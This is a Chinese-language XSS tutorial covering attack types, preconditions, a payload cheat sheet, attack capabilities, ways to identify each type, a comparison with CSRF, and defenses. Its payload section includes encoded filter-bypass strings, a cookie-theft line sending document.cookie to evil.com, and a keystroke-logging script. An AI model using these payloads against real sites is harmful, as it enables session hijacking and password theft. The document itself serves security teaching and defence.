什么是 XSS
XSS(Cross-Site Scripting)就是黑客将恶意脚本注入到网页中,当其他用户访问该页面时,恶意脚本在用户的浏览器中执行,从而窃取数据或操控页面行为。
为了避免与 CSS(层叠样式表)重名,所以叫 XSS
一、XSS 三大类型
| 类型 |
特点 |
是否存储 |
触发条件 |
危害等级 |
| 反射型 |
恶意脚本在 URL 中,服务端直接返回 |
不存储,一次性 |
用户必须点击恶意链接 |
⭐⭐ |
| 存储型 |
恶意脚本存储在服务器(数据库等) |
持久存储 |
任何用户访问被感染页面即触发 |
⭐⭐⭐ |
| DOM 型 |
纯前端漏洞,不经过服务端 |
不存储 |
用户访问恶意链接,前端 JS 解析时触发 |
⭐⭐ |
二、XSS 三要素
XSS 能执行需要满足三个条件:
- 输入可控:攻击者能控制输入内容(URL 参数、表单、评论区等)
- 输出未过滤:服务端或前端未对特殊字符做转义/过滤
- 浏览器执行:恶意代码被当作 HTML/JS 解析执行
三、常见 Payload
1. 基础弹窗(证明存在 XSS)
1 2
| <script>alert('XSS')</script> <script>alert(1)</script>
|
2. 标签属性注入
1 2 3 4 5
| <img src=x onerror=alert(1)> <img src=1 onerror=alert(1)> <input onfocus=alert(1) autofocus> <body onload=alert(1)> <svg onload=alert(1)>
|
3. 伪协议
1 2
| <a href="javascript:alert(1)">click</a> <iframe src="javascript:alert(1)">
|
4. 事件处理器
1 2
| <div onmouseover="alert(1)">hover me</div> <button onclick="alert(1)">click</button>
|
5. 编码绕过
1 2
| <img src=x onerror=alert(1)> <img src=x onerror=eval(atob('YWxlcnQoMSk='))> <!-- Base64编码 -->
|
四、XSS 能做什么
| 攻击类型 |
说明 |
Payload 示例 |
| Cookie 窃取 |
获取用户 Cookie,会话劫持 |
<script>fetch('http://evil.com/?c='+document.cookie)</script> |
| 页面劫持 |
篡改页面内容,插入钓鱼表单 |
<script>document.body.innerHTML='<h1>请重新登录</h1>'</script> |
| 键盘记录 |
记录键盘输入,窃取密码 |
<script>document.onkeydown=e=>fetch('/log?k='+e.key)</script> |
| 内网扫描 |
探测内网资源 |
<script>fetch('http://192.168.1.1:8080')</script> |
五、判断 XSS 类型的方法
| 现象 |
可能类型 |
| 修改 URL 参数后页面内容变化 |
反射型 或 DOM 型 |
| 关闭页面再打开,恶意代码仍在 |
存储型 |
| 查看页面源码,恶意代码在 HTML 中 |
反射型 / 存储型 |
| 查看页面源码,恶意代码不在 HTML 中,但在 DOM 中可见 |
DOM 型 |
区分反射型与 DOM 型:
- 反射型:服务端拼接了恶意代码到返回的 HTML 中
- DOM 型:服务端返回正常 HTML,但前端 JS 把恶意代码写入了 DOM
六、XSS 与 CSRF 的区别
| 对比项 |
XSS |
CSRF |
| 本质 |
恶意代码注入到页面执行 |
伪造请求,冒充用户发请求 |
| 利用方式 |
执行 JS 窃取数据 |
利用用户身份发送请求 |
| 防护重点 |
输入过滤 + 输出转义 |
Token + Referer 校验 + SameSite |
七、防护核心
- 输出转义:
htmlspecialchars()、textContent 替代 innerHTML
- CSP:
Content-Security-Policy 限制资源加载
- HttpOnly Cookie:阻止 JS 读取 Cookie
一句话总结
XSS 的本质:攻击者在别人访问的页面里,插入了自己的 JavaScript,让浏览器当成了正常的代码来执行。